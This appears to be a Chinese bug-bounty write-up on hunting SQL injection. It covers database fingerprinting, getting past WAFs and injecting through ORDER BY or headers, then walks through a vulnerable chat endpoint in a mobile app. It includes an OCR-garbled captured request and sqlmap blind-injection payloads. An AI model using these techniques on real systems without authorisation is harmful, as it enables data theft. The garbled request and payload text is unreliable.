众测下的SQL注入挖掘
0x01原理：
sql注入的原理在这里就不在详细介绍了，我相信大多数师傅对sql注入都是有一定的理解，如果对sql注入了解不深入的可以详细的去学习一下基础，手工打打靶场，熟悉sql函数等。
当然我们在学习sql注入的时候我们一定要先去简单的了解各种数据库的特征
比如：exp()函数来测试注入点，exp(709)正常、exp(710)报错，mssql和mysql适用，oracle中exp()没有固定值，只要能执行我们输入的语句，就可能存在注入

其余对比有心人可以自己去整理，我相信对你之后在项目中挖掘sql注入会有很大的帮助
0x02测试方法：
     在众测的时候可以对sql注入挖掘的方法有两种：
1. 被动扫描检查（这一点不建议使用，但是在众测没有说明不能用扫描器的时候可以使用流量较小的扫描）
2. 手工配合sqlmap检查：
现在的web站点大多数都进行了上waf或者进行预编译来防护sql注入，但是这两种情况并没有彻底的防护住sql注入：
*1： 如果web站点有waf 但可以找出真实ip，我们可以通过真实ip去访问站点，或许这时候我们所访问的真实ip就不存在waf了进而形成注入
*2： 我们也可以爬取整个web站点的接口，因为有可能开发人员在开发的时候，就对一个接口忘记添加waf了
*3：在实战中，可控的表名、列名、order by、sort、desc、limit参数后，不属于用户的输入，也能造成注入，这就是预编译不能完全防范sql注入的原因。
常用手法：
单引号报错，双引号正常(对比返回长度)可能存在注入，然后判断数据库类型，套用各数据库语句函数，证明有注，之后可以放入sqlmap中跑出注入或者自己写脚本来跑
  
  注入存在点：
    1、常见的参数传递，像id=1(数字型)，id=x(字符串型)、查询框、登录框
2、cookies、http头、user-agent、ip，也有可能存在注入，不要放过数据包的每个部分。
3、不明显地方，字段排序、表名、字段名可控也能注入。
例如：order by id、sort=id、desc、asc、limit后注入，可以用逗号来闭合，后面接上注入语句，达到注入的结果。

当然我们此次的案例是人工服务处存在的sql注入。

0x03案例：
在某安的一次项目中，感觉web上的资产确实太少了，而且很多人都在挖掘于是将资产转移到了app上面：
  当我们下好app后，就如下图一样没有什么特别
[image: }ZT$60HH~X0$E3L`NTF({$0]
（我个人挖掘app的时候喜欢将所有功能点都点一下，然后回去看历史记录）
但是在我把所有功能点都尝试了一次，我发现一个接口是post传参，但是在格式中存在xx_xx_id等字眼，于是进行单引号测试，没想到成功报错，闭合后数据包返回正常（这里的参数很奇怪，在测试中不要放过任何一个参数，说不定这个参数就有问题）
[bookmark: _GoBack][image: ]
我相信很多人都只会去测试第一个id，后面的id可能看都不会看一眼，但是在这些出现问题的参数就是最后一个，简单的单引号就可以测试出来。
 在确定某参数存在注入后，我就放入sqlmap中自动跑出结果即可：
[image: U9`($L6G_WZ(08OC~D%}B58]
通过sqlmap跑出的参数也可以看出是最后一个参数存在注入，当时以为整个站点都会存在，于是各个都跑了一次，最后才发现只有我的客服这一个点存在注入，所以当网站有我的客服这一个点的时候可以进行注入测试。
  最后也是获取高危赏金4k。
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1 POST /trustin/interface/mobile/getvisitornistorychatRecord HTTR/L.1
182dd0F0-896e-4731-9b76-74174C004713
244aca73-bedc-49eb-846e-69a8b233c761
user-agent: Dalvik/2.1.0 (Linux; Uj Android 6.0.1; DUK-AL20 Buf1d/V417IR) imgoEc-aphone-null
Content-Type: application/json
Content-Léngth: 209
7 Host: .
Connection: close
Accept-gncoding: gzip, deflate

[("company_1d":"1", "page”:"1", "request1d”: "3c8bf522606c42a98bc009862d9abs6a "
,"visitor_static_id": "0f437ddfb000508ba7c7b4320489ae54 "}

0F85b022a4 5b7cFefca3addcba1973307e25ec”, "t imestamp”

“sign” 163249691p583"
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25.20. 200 LINFO] testing connection to the target URL

qlmap resumed the following injection point(s) from stored session:
arameter: JSON visitor_static_id ((custom) POST)

Type: boolean-based blind
MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
(company id”:"1”, > page 717, requestId “fcdecdTe566a4fdeaBec944c7dfd0373”, s)g'n':'ﬁbf4a6e8f8ed
d70627 “timestamp”:”1632496597799", V]Sltoristatlcild ”0£437ddfb000508ba7c7b43204e9ae54%’ RLIKE
71j3471) THEN 0x3066343337646466623030303530386261376337623433323034653961653534 ELSE 0x28 END)) A

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: {“company id”:"1”, "page”:”1”, "request1d”:"fcdecd7e566a4fdeaBec944c7dfd0373”, “sign”: " 4a6e8f8eda64f2c9e65
2e1004841bd70627”, “timestamp” : “1632496597799", “visitor_static_id”:"0f437ddfb000508ba7c7b43204e9ae54%’ AND (S|
" (SELECT (SLEEP (5))) YmJM) AND %' = ”}




